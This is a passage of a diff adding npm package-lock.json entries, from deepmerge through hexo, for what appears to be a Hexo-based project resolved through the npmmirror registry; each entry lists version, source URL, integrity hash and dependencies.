"https://registry.npmmirror.com/deepmerge/-/deepmerge-4.3.1.tgz", + "integrity": "sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/define-data-property": { + "version": "1.1.4", + "resolved": "https://registry.npmmirror.com/define-data-property/-/define-data-property-1.1.4.tgz", + "integrity": "sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==", + "dependencies": { + "es-define-property": "^1.0.0", + "es-errors": "^1.3.0", + "gopd": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/define-lazy-prop": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/define-lazy-prop/-/define-lazy-prop-2.0.0.tgz", + "integrity": "sha512-Ds09qNh8yw3khSjiJjiUInaGX9xlqZDY7JVryGxdxV7NPeuqQfplOpQ66yJFZut3jLa5zOwkXw1g9EI2uKh4Og==", + "engines": { + "node": ">=8" + } + }, + "node_modules/degenerator": { + "version": "5.0.1", + "resolved": "https://registry.npmmirror.com/degenerator/-/degenerator-5.0.1.tgz", + "integrity": "sha512-TllpMR/t0M5sqCXfj85i4XaAzxmS5tVA16dqvdkMwGmzI+dXLXnw3J+3Vdv7VKw+ThlTMboK6i9rnZ6Nntj5CQ==", + "dependencies": { + "ast-types": "^0.13.4", + "escodegen": "^2.1.0", + "esprima": "^4.0.1" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/depd": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/depd/-/depd-2.0.0.tgz", + "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/destroy": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/destroy/-/destroy-1.2.0.tgz", + "integrity": "sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==", + "engines": { + "node": ">= 0.8", + "npm": "1.2.8000 || >= 1.4.16" + } + }, + "node_modules/detect-libc": { + "version": "1.0.3", + "resolved": "https://registry.npmmirror.com/detect-libc/-/detect-libc-1.0.3.tgz", + "integrity": "sha512-pGjwhsmsp4kL2RTz08wcOlGN83otlqHeD/Z5T8GXZB+/YcpQ/dgo+lbU8ZsGxV0HIvqqxo9l7mqYwyYMD9bKDg==", + "bin": { + "detect-libc": "bin/detect-libc.js" + }, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/devtools-protocol": { + "version": "0.0.1232444", + "resolved": "https://registry.npmmirror.com/devtools-protocol/-/devtools-protocol-0.0.1232444.tgz", + "integrity": "sha512-pM27vqEfxSxRkTMnF+XCmxSEb6duO5R+t8A9DEEJgy4Wz2RVanje2mmj99B6A3zv2r/qGfYlOvYznUhuokizmg==" + }, + "node_modules/doctypes": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/doctypes/-/doctypes-1.1.0.tgz", + "integrity": "sha512-LLBi6pEqS6Do3EKQ3J0NqHWV5hhb78Pi8vvESYwyOy2c31ZEZVdtitdzsQsKb7878PEERhzUk0ftqGhG6Mz+pQ==" + }, + "node_modules/dom-serializer": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/dom-serializer/-/dom-serializer-2.0.0.tgz", + "integrity": "sha512-wIkAryiqt/nV5EQKqQpo3SToSOV9J0DnbJqwK7Wv/Trc92zIAYZ4FlMu+JPFW1DfGFt81ZTCGgDEabffXeLyJg==", + "dependencies": { + "domelementtype": "^2.3.0", + "domhandler": "^5.0.2", + "entities": "^4.2.0" + } + }, + "node_modules/domelementtype": { + "version": "2.3.0", + "resolved": "https://registry.npmmirror.com/domelementtype/-/domelementtype-2.3.0.tgz", + "integrity": "sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==" + }, + "node_modules/domhandler": { + "version": "5.0.3", + "resolved": "https://registry.npmmirror.com/domhandler/-/domhandler-5.0.3.tgz", + "integrity": "sha512-cgwlv/1iFQiFnU96XXgROh8xTeetsnJiDsTc7TYCLFd9+/WNkIqPTxiM/8pSd8VIrhXGTf1Ny1q1hquVqDJB5w==", + "dependencies": { + "domelementtype": "^2.3.0" + }, + "engines": { + "node": ">= 4" + } + }, + "node_modules/domutils": { + "version": "3.1.0", + "resolved": "https://registry.npmmirror.com/domutils/-/domutils-3.1.0.tgz", + "integrity": "sha512-H78uMmQtI2AhgDJjWeQmHwJJ2bLPD3GMmO7Zja/ZZh84wkm+4ut+IUnUdRa8uCGX88DiVx1j6FRe1XfxEgjEZA==", + "dependencies": { + "dom-serializer": "^2.0.0", + "domelementtype": "^2.3.0", + "domhandler": "^5.0.3" + } + }, + "node_modules/ee-first": { + "version": "1.1.1", + "resolved": "https://registry.npmmirror.com/ee-first/-/ee-first-1.1.1.tgz", + "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==" + }, + "node_modules/ejs": { + "version": "3.1.9", + "resolved": "https://registry.npmmirror.com/ejs/-/ejs-3.1.9.tgz", + "integrity": "sha512-rC+QVNMJWv+MtPgkt0y+0rVEIdbtxVADApW9JXrUVlzHetgcyczP/E7DJmWJ4fJCZF2cPcBk0laWO9ZHMG3DmQ==", + "dependencies": { + "jake": "^10.8.5" + }, + "bin": { + "ejs": "bin/cli.js" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/electron-to-chromium": { + "version": "1.4.699", + "resolved": "https://registry.npmmirror.com/electron-to-chromium/-/electron-to-chromium-1.4.699.tgz", + "integrity": "sha512-I7q3BbQi6e4tJJN5CRcyvxhK0iJb34TV8eJQcgh+fR2fQ8miMgZcEInckCo1U9exDHbfz7DLDnFn8oqH/VcRKw==" + }, + "node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmmirror.com/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==" + }, + "node_modules/encodeurl": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/encodeurl/-/encodeurl-1.0.2.tgz", + "integrity": "sha512-TPJXq8JqFaVYm2CWmPvnP2Iyo4ZSM7/QKcSmuMLDObfpH5fi7RUGmd/rTDf+rut/saiDiQEeVTNgAmJEdAOx0w==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/end-of-stream": { + "version": "1.4.4", + "resolved": "https://registry.npmmirror.com/end-of-stream/-/end-of-stream-1.4.4.tgz", + "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==", + "dependencies": { + "once": "^1.4.0" + } + }, + "node_modules/entities": { + "version": "4.5.0", + "resolved": "https://registry.npmmirror.com/entities/-/entities-4.5.0.tgz", + "integrity": "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==", + "engines": { + "node": ">=0.12" + } + }, + "node_modules/env-paths": { + "version": "2.2.1", + "resolved": "https://registry.npmmirror.com/env-paths/-/env-paths-2.2.1.tgz", + "integrity": "sha512-+h1lkLKhZMTYjog1VEpJNG7NZJWcuc2DDk/qsqSTRRCOXiLjeQ1d1/udrUGhqMxUgAlwKNZ0cf2uqan5GLuS2A==", + "engines": { + "node": ">=6" + } + }, + "node_modules/error-ex": { + "version": "1.3.2", + "resolved": "https://registry.npmmirror.com/error-ex/-/error-ex-1.3.2.tgz", + "integrity": "sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==", + "dependencies": { + "is-arrayish": "^0.2.1" + } + }, + "node_modules/error-ex/node_modules/is-arrayish": { + "version": "0.2.1", + "resolved": "https://registry.npmmirror.com/is-arrayish/-/is-arrayish-0.2.1.tgz", + "integrity": "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==" + }, + "node_modules/es-define-property": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/es-define-property/-/es-define-property-1.0.0.tgz", + "integrity": "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ==", + "dependencies": { + "get-intrinsic": "^1.2.4" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-errors": { + "version": "1.3.0", + "resolved": "https://registry.npmmirror.com/es-errors/-/es-errors-1.3.0.tgz", + "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/esbuild": { + "version": "0.20.1", + "resolved": "https://registry.npmmirror.com/esbuild/-/esbuild-0.20.1.tgz", + "integrity": "sha512-OJwEgrpWm/PCMsLVWXKqvcjme3bHNpOgN7Tb6cQnR5n0TPbQx1/Xrn7rqM+wn17bYeT6MGB5sn1Bh5YiGi70nA==", + "hasInstallScript": true, + "bin": { + "esbuild": "bin/esbuild" + }, + "engines": { + "node": ">=12" + }, + "optionalDependencies": { + "@esbuild/aix-ppc64": "0.20.1", + "@esbuild/android-arm": "0.20.1", + "@esbuild/android-arm64": "0.20.1", + "@esbuild/android-x64": "0.20.1", + "@esbuild/darwin-arm64": "0.20.1", + "@esbuild/darwin-x64": "0.20.1", + "@esbuild/freebsd-arm64": "0.20.1", + "@esbuild/freebsd-x64": "0.20.1", + "@esbuild/linux-arm": "0.20.1", + "@esbuild/linux-arm64": "0.20.1", + "@esbuild/linux-ia32": "0.20.1", + "@esbuild/linux-loong64": "0.20.1", + "@esbuild/linux-mips64el": "0.20.1", + "@esbuild/linux-ppc64": "0.20.1", + "@esbuild/linux-riscv64": "0.20.1", + "@esbuild/linux-s390x": "0.20.1", + "@esbuild/linux-x64": "0.20.1", + "@esbuild/netbsd-x64": "0.20.1", + "@esbuild/openbsd-x64": "0.20.1", + "@esbuild/sunos-x64": "0.20.1", + "@esbuild/win32-arm64": "0.20.1", + "@esbuild/win32-ia32": "0.20.1", + "@esbuild/win32-x64": "0.20.1" + } + }, + "node_modules/escalade": { + "version": "3.1.2", + "resolved": "https://registry.npmmirror.com/escalade/-/escalade-3.1.2.tgz", + "integrity": "sha512-ErCHMCae19vR8vQGe50xIsVomy19rg6gFu3+r3jkEO46suLMWBksvVyoGgQV+jOfl84ZSOSlmv6Gxa89PmTGmA==", + "engines": { + "node": ">=6" + } + }, + "node_modules/escape-html": { + "version": "1.0.3", + "resolved": "https://registry.npmmirror.com/escape-html/-/escape-html-1.0.3.tgz", + "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==" + }, + "node_modules/escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npmmirror.com/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==", + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/escodegen": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/escodegen/-/escodegen-2.1.0.tgz", + "integrity": "sha512-2NlIDTwUWJN0mRPQOdtQBzbUHvdGY2P1VXSyU83Q3xKxM7WHX2Ql8dKq782Q9TgQUNOLEzEYu9bzLNj1q88I5w==", + "dependencies": { + "esprima": "^4.0.1", + "estraverse": "^5.2.0", + "esutils": "^2.0.2" + }, + "bin": { + "escodegen": "bin/escodegen.js", + "esgenerate": "bin/esgenerate.js" + }, + "engines": { + "node": ">=6.0" + }, + "optionalDependencies": { + "source-map": "~0.6.1" + } + }, + "node_modules/esprima": { + "version": "4.0.1", + "resolved": "https://registry.npmmirror.com/esprima/-/esprima-4.0.1.tgz", + "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", + "bin": { + "esparse": "bin/esparse.js", + "esvalidate": "bin/esvalidate.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/estraverse": { + "version": "5.3.0", + "resolved": "https://registry.npmmirror.com/estraverse/-/estraverse-5.3.0.tgz", + "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", + "engines": { + "node": ">=4.0" + } + }, + "node_modules/estree-walker": { + "version": "2.0.2", + "resolved": "https://registry.npmmirror.com/estree-walker/-/estree-walker-2.0.2.tgz", + "integrity": "sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==" + }, + "node_modules/esutils": { + "version": "2.0.3", + "resolved": "https://registry.npmmirror.com/esutils/-/esutils-2.0.3.tgz", + "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/etag": { + "version": "1.8.1", + "resolved": "https://registry.npmmirror.com/etag/-/etag-1.8.1.tgz", + "integrity": "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/extract-zip": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/extract-zip/-/extract-zip-2.0.1.tgz", + "integrity": "sha512-GDhU9ntwuKyGXdZBUgTIe+vXnWj0fppUEtMDL0+idd5Sta8TGpHssn/eusA9mrPr9qNDym6SxAYZjNvCn/9RBg==", + "dependencies": { + "debug": "^4.1.1", + "get-stream": "^5.1.0", + "yauzl": "^2.10.0" + }, + "bin": { + "extract-zip": "cli.js" + }, + "engines": { + "node": ">= 10.17.0" + }, + "optionalDependencies": { + "@types/yauzl": "^2.9.1" + } + }, + "node_modules/extract-zip/node_modules/debug": { + "version": "4.3.4", + "resolved": "https://registry.npmmirror.com/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "dependencies": { + "ms": "2.1.2" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/extract-zip/node_modules/ms": { + "version": "2.1.2", + "resolved": "https://registry.npmmirror.com/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + }, + "node_modules/fast-equals": { + "version": "3.0.3", + "resolved": "https://registry.npmmirror.com/fast-equals/-/fast-equals-3.0.3.tgz", + "integrity": "sha512-NCe8qxnZFARSHGztGMZOO/PC1qa5MIFB5Hp66WdzbCRAz8U8US3bx1UTgLS49efBQPcUtO9gf5oVEY8o7y/7Kg==" + }, + "node_modules/fast-fifo": { + "version": "1.3.2", + "resolved": "https://registry.npmmirror.com/fast-fifo/-/fast-fifo-1.3.2.tgz", + "integrity": "sha512-/d9sfos4yxzpwkDkuN7k2SqFKtYNmCTzgfEpz82x34IM9/zc8KGxQoXg1liNC/izpRM/MBdt44Nmx41ZWqk+FQ==" + }, + "node_modules/fd-slicer": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/fd-slicer/-/fd-slicer-1.1.0.tgz", + "integrity": "sha512-cE1qsB/VwyQozZ+q1dGxR8LBYNZeofhEdUNGSMbQD3Gw2lAzX9Zb3uIU6Ebc/Fmyjo9AWWfnn0AUCHqtevs/8g==", + "dependencies": { + "pend": "~1.2.0" + } + }, + "node_modules/file-uri-to-path": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/file-uri-to-path/-/file-uri-to-path-1.0.0.tgz", + "integrity": "sha512-0Zt+s3L7Vf1biwWZ29aARiVYLx7iMGnEUl9x33fbB/j3jR81u/O2LbqK+Bm1CDSNDKVtJ/YjwY7TUd5SkeLQLw==" + }, + "node_modules/filelist": { + "version": "1.0.4", + "resolved": "https://registry.npmmirror.com/filelist/-/filelist-1.0.4.tgz", + "integrity": "sha512-w1cEuf3S+DrLCQL7ET6kz+gmlJdbq9J7yXCSjK/OZCPA+qEN1WyF4ZAf0YYJa4/shHJra2t/d/r8SV4Ji+x+8Q==", + "dependencies": { + "minimatch": "^5.0.1" + } + }, + "node_modules/filelist/node_modules/brace-expansion": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/brace-expansion/-/brace-expansion-2.0.1.tgz", + "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==", + "dependencies": { + "balanced-match": "^1.0.0" + } + }, + "node_modules/filelist/node_modules/minimatch": { + "version": "5.1.6", + "resolved": "https://registry.npmmirror.com/minimatch/-/minimatch-5.1.6.tgz", + "integrity": "sha512-lKwV/1brpG6mBUFHtb7NUmtABCb2WZZmm2wNiOA5hAb8VdCS4B3dtMWyvcoViccwAW/COERjXLt0zP1zXUN26g==", + "dependencies": { + "brace-expansion": "^2.0.1" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmmirror.com/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "dependencies": { + "to-regex-range": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/finalhandler": { + "version": "1.1.2", + "resolved": "https://registry.npmmirror.com/finalhandler/-/finalhandler-1.1.2.tgz", + "integrity": "sha512-aAWcW57uxVNrQZqFXjITpW3sIUQmHGG3qSb9mUah9MgMC4NeWhNOlNjXEYq3HjRAvL6arUviZGGJsBg6z0zsWA==", + "dependencies": { + "debug": "2.6.9", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "on-finished": "~2.3.0", + "parseurl": "~1.3.3", + "statuses": "~1.5.0", + "unpipe": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/frappe-charts": { + "version": "1.6.2", + "resolved": "https://registry.npmmirror.com/frappe-charts/-/frappe-charts-1.6.2.tgz", + "integrity": "sha512-9TC3/+YVUi84yYoEbxFiSqu+1FQ5If/ydUNj6i8FRpwynd08t6a7RkS+IRJozAk6NfdL8/LVTTE1DUOjjKZZxg==" + }, + "node_modules/fresh": { + "version": "0.5.2", + "resolved": "https://registry.npmmirror.com/fresh/-/fresh-0.5.2.tgz", + "integrity": "sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/fs-extra": { + "version": "11.2.0", + "resolved": "https://registry.npmmirror.com/fs-extra/-/fs-extra-11.2.0.tgz", + "integrity": "sha512-PmDi3uwK5nFuXh7XDTlVnS17xJS7vW36is2+w3xcv8SVxiB4NyATf4ctkVY5bkSjX0Y4nbvZCq1/EjtEyr9ktw==", + "dependencies": { + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=14.14" + } + }, + "node_modules/fs.realpath": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/fs.realpath/-/fs.realpath-1.0.0.tgz", + "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==" + }, + "node_modules/fsevents": { + "version": "2.3.3", + "resolved": "https://registry.npmmirror.com/fsevents/-/fsevents-2.3.3.tgz", + "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", + "hasInstallScript": true, + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/function-bind": { + "version": "1.1.2", + "resolved": "https://registry.npmmirror.com/function-bind/-/function-bind-1.1.2.tgz", + "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==" + }, + "node_modules/get-caller-file": { + "version": "2.0.5", + "resolved": "https://registry.npmmirror.com/get-caller-file/-/get-caller-file-2.0.5.tgz", + "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", + "engines": { + "node": "6.* || 8.* || >= 10.*" + } + }, + "node_modules/get-intrinsic": { + "version": "1.2.4", + "resolved": "https://registry.npmmirror.com/get-intrinsic/-/get-intrinsic-1.2.4.tgz", + "integrity": "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ==", + "dependencies": { + "es-errors": "^1.3.0", + "function-bind": "^1.1.2", + "has-proto": "^1.0.1", + "has-symbols": "^1.0.3", + "hasown": "^2.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/get-stream": { + "version": "5.2.0", + "resolved": "https://registry.npmmirror.com/get-stream/-/get-stream-5.2.0.tgz", + "integrity": "sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==", + "dependencies": { + "pump": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/get-uri": { + "version": "6.0.3", + "resolved": "https://registry.npmmirror.com/get-uri/-/get-uri-6.0.3.tgz", + "integrity": "sha512-BzUrJBS9EcUb4cFol8r4W3v1cPsSyajLSthNkz5BxbpDcHN5tIrM10E2eNvfnvBn3DaT3DUgx0OpsBKkaOpanw==", + "dependencies": { + "basic-ftp": "^5.0.2", + "data-uri-to-buffer": "^6.0.2", + "debug": "^4.3.4", + "fs-extra": "^11.2.0" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/get-uri/node_modules/debug": { + "version": "4.3.4", + "resolved": "https://registry.npmmirror.com/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "dependencies": { + "ms": "2.1.2" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/get-uri/node_modules/ms": { + "version": "2.1.2", + "resolved": "https://registry.npmmirror.com/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + }, + "node_modules/glob": { + "version": "7.2.3", + "resolved": "https://registry.npmmirror.com/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + } + }, + "node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmmirror.com/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/gopd": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/gopd/-/gopd-1.0.1.tgz", + "integrity": "sha512-d65bNlIadxvpb/A2abVdlqKqV563juRnZ1Wtk6s1sIR8uNsXR70xqIzVqxVf1eTqDunwT2MkczEeaezCKTZhwA==", + "dependencies": { + "get-intrinsic": "^1.1.3" + } + }, + "node_modules/graceful-fs": { + "version": "4.2.11", + "resolved": "https://registry.npmmirror.com/graceful-fs/-/graceful-fs-4.2.11.tgz", + "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==" + }, + "node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/has-property-descriptors": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz", + "integrity": "sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==", + "dependencies": { + "es-define-property": "^1.0.0" + } + }, + "node_modules/has-proto": { + "version": "1.0.3", + "resolved": "https://registry.npmmirror.com/has-proto/-/has-proto-1.0.3.tgz", + "integrity": "sha512-SJ1amZAJUiZS+PhsVLf5tGydlaVB8EdFpaSO4gmiUKUOxk8qzn5AIy4ZeJUmh22znIdk/uMAUT2pl3FxzVUH+Q==", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/has-symbols": { + "version": "1.0.3", + "resolved": "https://registry.npmmirror.com/has-symbols/-/has-symbols-1.0.3.tgz", + "integrity": "sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/has-tostringtag": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/has-tostringtag/-/has-tostringtag-1.0.2.tgz", + "integrity": "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==", + "dependencies": { + "has-symbols": "^1.0.3" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/hasown": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/hasown/-/hasown-2.0.1.tgz", + "integrity": "sha512-1/th4MHjnwncwXsIW6QMzlvYL9kG5e/CpVvLRZe4XPa8TOUNbCELqmvhDmnkNsAjwaG4+I8gJJL0JBvTTLO9qA==", + "dependencies": { + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/he": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/he/-/he-1.2.0.tgz", + "integrity": "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==", + "bin": { + "he": "bin/he" + } + }, + "node_modules/hexo": { + "version": "7.0.0", + "resolved": "https://registry.npmmirror.com/hexo/-/hexo-7.0.0.tgz", + "integrity": "sha512-3iRSYReDcYd+bdCrDYS53aFjR717M+eSwKVXdM1tF2QETi8urcwDdDDoD7Nm2E0trqN4oeoHJ7FoXbn2UsZxqw==", + "dependencies": { + "abbrev": "^2.0.0", + "archy": "^1.0.0", + "bluebird": "^3.7.2", + "hexo-cli": "^4.3.0", + "hexo-front-matter": "^4.2.1", + "hexo-fs": "^4.1.1", + "hexo-i18n": "^2.0.0", + "hexo-log": "^4.0.1", + "hexo-util": "^3.0.1", + "js-yaml": "^4.1.0", + "js-yaml-js-types": "^1.0.0", + "micromatch": 